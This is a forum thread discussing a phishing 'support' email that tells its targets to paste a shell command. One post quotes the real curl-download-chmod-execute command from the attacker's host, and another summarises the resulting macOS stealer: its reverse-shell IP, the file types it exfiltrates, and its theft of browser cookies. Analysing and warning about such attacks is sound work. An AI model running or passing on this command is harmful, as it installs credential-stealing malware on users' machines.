I'm seeing a lot more of these phishing links relying on sites.google.com . Users are becoming trained to look at the domain, which appears correct to them. Is it a mistake of Google to continue to let people post user content on a subdomain of their main domain?
the phishers use any of the free file sharing sites. I've seen dropbox, sharefile , even docusign URLs used as well. i don't think you want users considering the domain as a sign of validity, only that odd domains are definitely a sign of invalidity.
The scariest "user support" email I've received
141–150 of 267 posts
Re: The scariest "user support" email I've received
#142Earlier quoted context omitted.
I think it's great. If the LLM takes it upon itself to download malware, the user is protected.
Wait for next step, when the target is actually the LLM.
Re: The scariest "user support" email I've received
#143To me the scariest support email would be discovering that the customer's 'bug' is actually evidence that they are in mortal danger, and not being sure the assailant wasn't reading everything I'm telling the customer. I thought perhaps this was going that way up until around the echo | bash bit. I don't think this one is particularly scary. I've brushed much closer to Death even without spear-phishing being involved.
Re: The scariest "user support" email I've received
#144https://buildnetcrew.com/curl/e16f01ec9c3f30bc1c4cf56a7109be...' -o /tmp/launch && chmod +x /tmp/launch && /tmp/launch
The certificate is self-signed. Have not looked into it much, in today's using `curl bashscript` way of installing program exposed another door for attacker to target no tech savvy users.
Re: The scariest "user support" email I've received
#145To me the scariest support email would be discovering that the customer's 'bug' is actually evidence that they are in mortal danger, and not being sure the assailant wasn't reading everything I'm telling the customer. I thought perhaps this was going that way up until around the echo | bash bit. I don't think this one is particularly scary. I've brushed much closer to Death even without spear-phishing being involved.
Re: The scariest "user support" email I've received
#146the website hosting the malware is.. an indian hose supplier? https://www.amanagencies.com/ Seems like a real company too e.g. https://pdf.indiamart.com/impdf/20303654633/MY-1793705/alumi...
Probably experts in rubber-hose cryptanalysis.
Re: The scariest "user support" email I've received
#147Re: The scariest "user support" email I've received
#148It does seem like AI may change this and if even the tech savvier ones among us are able to be duped, then I’m getting worried for people like my parents or less tech savvy friends… we may be in for a scammy next few years.
Re: The scariest "user support" email I've received
#149The binary itself appears to be a remote-access trojan and data exfiltration malware for MacOS. It provides a reverse-shell via http://83.219.248.194 and exfiltrates files with the following extensions: txt rtf doc docx xls xlsx key wallet jpg dat pdf pem asc ppk rdp sql ovpn kdbx conf json It looks quite similar to AMOS - Atomic MacOS Stealer. It also seems to exfiltrate browser session data + cookies, the MacOS key…
I can’t even exfiltrate my MacOS Notes on purpose . Maybe I’ll download it and give it a spin.
Re: The scariest "user support" email I've received
#150> ChatGPT confirmed Why are you relying on fancy autocorrect to "confirm" anything? If anything, ask it how to confirm it yourself.